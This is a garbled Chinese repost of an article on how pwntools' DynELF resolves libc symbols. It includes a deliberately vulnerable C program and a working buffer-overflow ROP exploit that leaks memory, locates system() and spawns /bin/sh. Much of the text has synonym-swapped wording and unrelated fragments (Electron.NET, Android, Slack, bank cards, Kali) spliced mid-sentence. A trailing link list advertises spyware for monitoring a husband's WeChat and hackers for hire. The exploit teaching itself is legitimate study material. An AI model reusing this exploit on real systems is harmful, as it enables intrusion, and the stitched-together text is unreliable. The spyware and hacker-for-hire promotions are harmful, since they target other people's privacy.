C言语代码:Pwntools之DynELF原理探求

访客5年前黑客工具999

*本文作者:xmwanth,本文属 FreeBuf 原创奖赏方案,未经许可制止转载。

DynELF是pwntools中专门用来应对没有libc状况的缝隙运用模块,在供给一个政策程序恣意地址内存走漏函数的状况下,能够解析恣意加载库的恣意符号地址。本文将对其技术原理进行介绍,其间触及ELF文件中的hash表、动态符号表、字符串表、Dynamic段,以及link_map结构等内容。

一、DynELF运用示例

政策程序源代码:

#include <stdio.h>#include <stdlib.h>#include <unistd.h>void vulfun(){    char b

该插座的操控示意图如下:

uf[128]; read(STDIN_FILENO, buf, 256);}int main(int argc, char** argv){ vulfun(); write(STDOUT_FILENO, "Hello,Worldn", 13);}

poc:

#!/usr/bin/env pythonfrom pwn import *elf  = ELF('vul_elf')plt_write = elf.symbols['write']plt_read = elf.symbols['read']vulfun_addr = 0x08048404def leak(address):payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(address) + p32(4)p.send(payload1)data = p.recv(4)return datap = process('./vul_elf')d=DynELF(leak, ptr)system_addr = d.lookup('system', 'libc')bss_addr = 0x0804a018pppr = 0x080484bdpayload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)p.send(payload2)p.send("/bin/sh")p.interactive()
二、DynELF原理

在示例中,运用DynELF的代码是:

 

d=DynELF(leak, ptr)

system_addr = d.lookup('system', 'libc')

 

能够看到,DynELF作用是寻觅system函数在内存中的加载地址,下面临该进程进行介绍:

1、获取vul_elf内存加载基地址

已知vul_elf加载内存范围内的一个地址ptr,将该地址进行页对齐

 

page_size = 0x1000

page_mask = ~(page_size - 1)

ptr &= page_mask

 

然后比照内存页开始字符串是否为’x7fELF’,假如不是,一向向低地址内存页(ptr -= page_size)进行查找,找到契合该条件的页面,该页面开始地址便是vul_elf文件内存加载基地址。

寻觅vul_elf内存加载基地址的示意图如下:

2、获取libc.so内存加载基地址

vul_elf是动态链接的可执行文件,在该类型文件中有一个link_map双向链表,其间包括了每个动态加载的库的途径和加载基址等信息,其数据结构为:

能够通过两种途径获取link_map链表:一是在所有ELF文件中,通过Dynamic段DT_DEBUG区域得到。二是在non-侵犯分析器运用Electron.NET,这是一个带有嵌入式ASP.NET中心运用程序的“一般”Electron运用程序包装器。我对这两种结构的内部作业原理都不是很熟悉,但看起来,其工作的是本地Kestrel Web服务器,然后通过Electron翻开一个ASP.NET Web运用程序。RELRO ELF文件中,link_map地址存在于.got.plt区节中,该区节的加载地址能够从DYNAMIC段DT_PLTGOT区域得到。

这两种途径都需求知道vul_elf的DYNAMIC段地址:我们在之一步中获取了vul_el内存加载基地址,由此能够得到vul_elf段表,通过解析vul_elf段表能够得到DYNAMIC基地址。

通过第二种办法获取link_map结构的示意图如下:

3、获取libc.so的hash表、动态符号表、字符串表基地址

在所有需求导出函数给其他文件运用的ELF文件(例如: “libc.so”)中,用动态符号表、字符串表、hash表等一系列表用于指示导出符号(例如:”system”)的称谓、地址、hash值等信息。通过libc.so的Dynamic段DT_GNU_HASH、DT_SYMTAB、DT_STRTAB能够获取hash表、动态符号表、字符串表在内存中的基地址。

4、通过hash表获取system函数地址

hash表是用于查找符号的散列表,通过libc.so的hash表能够找到system函数内存加载地址,在ELF文件中有SYSV、GNU两种类型的hash表,其间通过GNU HASH查找system函数地址示意图如下。其寻觅进程触及许多细节,在此不多叙说,后边会写文章对通过hash表找到符号地址作专门解说。

图中: nbuckets是hash buckets的数值,symndx是hash表映射符号表的开始索引,Bloom Filter用作过滤不在符号表中的符号称谓,在DynELF中并没有运用:

 

hash=gnu_hash(“system”),gnu_hash是GNU HASH算法函数

ndx=hash%nbuckets,ndx是符号表中所有 符号HASH%nubuckets 持平的开始索引

 

终究:内存走漏函数在进程中用作读取程序内存数据,像上面比如中获取link_map、DYNAMIC段、vul_elf段表等内容都是通过内存走漏函数。

C言语代码:Pwntools之DynELF原理探求

printf("ICorRuntimeHost::Start()n");我们在研讨Slack文档时,发现如同不或许在频道中发送一个超链接:包括以下信息:Pwntools之DynELF原理探究

C语言代码· CreateTime(Created) 终究,翻开 Tools -> Board,然后选择 Digispark (Default — 16.5mhz)并将其设置为默认值。

cd /home/raj/script/ UpperFlagBits = ((DWORD)Flags & 0xFFFFFFFE); 中止进程C语言代码

4、泛洪侵犯 Reserved block group size: 7

影子经纪人(Shadow Brokers)最近曝光的NSA方程式Windows侵犯程序中有一个针对Mdaemon邮件服务器缝隙的远程侵犯程序——Easybee,本文将对Easybee缝隙侵犯进行复现,并分析缝隙侵犯原理。数据包, 数据流

ContextWrapper结束这个推延化处理的办法便是attachBaseContext()。能够这样说,Application政策在刚刚结构结束时是“残废”的,访问全部Context的办法都会抛出NullPointerException。只需attachBaseContext()实行完后,它的功用才无缺。在ContentProvider:onCreate()中,我们知道Application:onCreate()还没有工作,但现已能够运用getContext().getApplicationContext()函数获取Application政策,并访问其Context办法。显着,Android的API规划者不能允许此时获取的Application是“残废”的。结论是Application:attachBaseContext()有必要要发生在ContentProvider:onCreate()之前,否则API将出现BUG;不论Android的系统版别怎样改动,这一点也不能改动。“无法处理的”另一个说法是“还没有处理”**********

今天让我们来介绍十个黑客专用的操作系统,它们被白帽黑客用作渗透检验的东西。这儿我把 Kali Linux 列为首位,是因为它在渗透检验中非常盛行,它的开发团队 Offensive security 一同也是开发 BackTrack 的团队。我们没有列出 BackTrack ,是因为在它的官方站点上现已无法下载了,它现已被 Kali Linux 所代替了。Pwntools之DynELF原理探究

C语言代码分析方式 运用这种方式你能够查看没有通过任何毒化的N *** -NS, BROWSER, LLMNR, DNS央求的实在形状.一同能够被逼的映射内网的拓扑,一同能够查看是否能够进行icmp重定向侵犯.Kibana便是我们的侵犯溯源途径,翻开Kibana的Web页面 http://localhost:5601linux(kali)下源码包的运用:本文的分析政策是来自eQ-3公司的 MAX! Cube LAN Gateway (以下称为“Cube”)。实际上,许多产品都绑缚了该设备,比如我的加热操控系统中就带有该设备。通过该设备称谓中的“Cube”不难猜出,它只是一个LAN网关,通过RF技术结束实在的“物联网设备”或“智能设备”之间的通讯。在本文中,我们将关键介绍以太网通讯,因为它是处理软件的首要通讯办法。

为了便于网上生意,绝大多数手机用户都已用上了支付宝或微信钱包。但是,在享受便利支付的便利一同,我们相同需求警惕或许存在的挟制移动资金安全的各种风险。

if [ -f $(brew --prefix)/share/bash-completion/bash_completion ]; then这一应战运用了UPX用来加壳,但是加成了阻遏upx-d工作的方式。它还运用了一些反调试技术来抑止调试东西的运用。具体的符号还不是很清楚,所以需求分析反面的数学函数并解码符号。C语言代码

从银行卡这个思路我们去分析安全会更简略了解,前期传统的银行卡是磁条卡,磁条卡并没有太多的安全认证,导致读取到磁条中的数据就能够拷贝成一张新的银行卡,所以我们常常能够看见盗刷拷贝银行卡的新闻,不法分子一般都是通过不合法磁条卡读写设备拷贝银行卡。

静下心来,仔细想了下,本地向外发包,那本地必定会有程序来发!这可咋找啊?Pwntools之DynELF原理探究

printf("Cannot find DLL");# canonical.pickle需求时设备NVIDIA驱动int _tmain(int argc, _TCHAR* argv[])
本文标题:C言语代码:Pwntools之DynELF原理探求

相关文章

怎么监控我老公的微信 如何监控老公微信聊天记

北京一高科技公司职员偶然得知重庆某公司购物网站有漏洞,于是以最便宜的手机充值卡价格(0.6元)购买最贵的手机充值卡(300元),共获赃1500元。正当他窃喜捡到“火巴和”时,被重庆警方抓获。昨日,涉嫌...

三代试管费用大概多少钱以及第三代试管成功率

3分钟让你清楚了解,三代试管费用大概多少钱和三代试管成功率以及三代试管流程!   作为一名老成的生殖科医生,我告诉你,不要20万,也不要10万,没有最低,只有更低……低到让你心动,恨不得马上就出发,...

黑客是怎么获取别人的位置的(黑客获取密码的方式)-先做事后付费的黑客有吗

黑客是怎么获取别人的位置的(黑客获取密码的方式)-先做事后付费的黑客有吗

黑客是怎么获取别人的位置的(黑客获取密码的方式)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络...

淘宝网开店流程及费用是什么(淘宝企业开店流程及费用图解)

今天为大家分享淘宝企业开店流程及费用。2015年6月4日淘宝再次推出“淘宝企业店铺”的业务,淘宝企业店铺开始申请,相对于个人店铺,企业店铺具有更多优势。淘宝企业店铺将获得更多的权限,淘宝企业店铺比C店...

最强黑客名单(最强黑客名单排行)

最强黑客名单(最强黑客名单排行)

本文目录一览: 1、你认识地球上已知的十位电脑最强黑客吗? 2、中国十大黑客排名是什么?有什么事迹? 3、少年骇客最强的人物是谁 你认识地球上已知的十位电脑最强黑客吗? 自从互联网成为信息存...

美国加州一名护士接受abb式的词语大全新冠疫苗一周后病毒测试

  据悉,这名护士于当地时间12月18日注射了第一剂新冠疫苗,当时只感到轻微的手臂酸痛。在接种疫苗后六天左右,这名护士开始感到浑身发冷,肌肉疼痛和疲劳等症状。该护士在感到不适时仍在医院的新冠肺炎部门工...